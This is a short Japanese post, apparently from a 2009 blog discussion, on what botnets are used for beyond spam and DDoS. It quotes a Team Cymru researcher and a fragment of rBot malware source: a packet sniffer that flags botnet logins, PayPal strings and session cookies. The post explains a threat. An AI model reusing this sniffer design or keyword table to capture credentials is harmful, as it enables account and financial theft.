ジョン・レヴィンの投稿(2009年1月28日21:19 UTC)まさに。それに、ボットネットという魔法のおかげで、悪人のほうが善人よりはるかに多くの計算力を手にしていることも忘れないでほしい。
ちょっと気になったのだが、ボットネットが、スパムを送るかDDoSをかける以上に面白いことに使われた、記録に残る例を、誰か知っている人はいないだろうか?
このことを、Team Cymruのロブ・トーマスに尋ねてみた(彼と彼らは地下の世界を研究している)。許可を得て、彼の答えを載せる:
==== ボットネットはふだん、次のように使われている:
-
プロキシ(IRC、HTTP、HTTPS)
-
金融の認証情報(PayPal、Citibankなど)を取り出すため。 初期のボットのいくつかにあったPSNIFFのコードの、もともとの目的はこれだった。
何年も前にさかのぼる、今では由緒あるrBot_rxbot_041504-dcom-priv-OPTIX_MASTERPASSWORDのコードの一部を示す:
[ ... ]
// Scaled down distributed network raw packet sniffer (ala Carnivore)
//
// When activated, watches for botnet login strings, and
// reports them when found.
//
// The bots NIC must be configured for promiscuous mode (recieve
// all). Chances are this already done, if not, you can enable it
// by passing the SIO_RCVALL* DWORD option with a value of 1, to
// disable promiscuous mode pass with value 0.
//
// This won't work on Win9x bots since SIO_RCVALL needs raw
// socket support which only WinNT+ has.
[ ... ]
PSWORDS pswords[]={
{":.login",BOTP},
{":,login",BOTP},
{":!login",BOTP},
[ ... ]
{"paypal",HTTPP},
{"PAYPAL",HTTPP},
{"paypal.com",HTTPP},
{"PAYPAL.COM",HTTPP},
{"Set-Cookie:",HTTPP},
{NULL,0}
};
[ ... ]
- 今では「ボート(boats)」と呼ばれていることを忘れないでほしい。だから何でもありだ。画面のキャプチャーがますます人気になっている。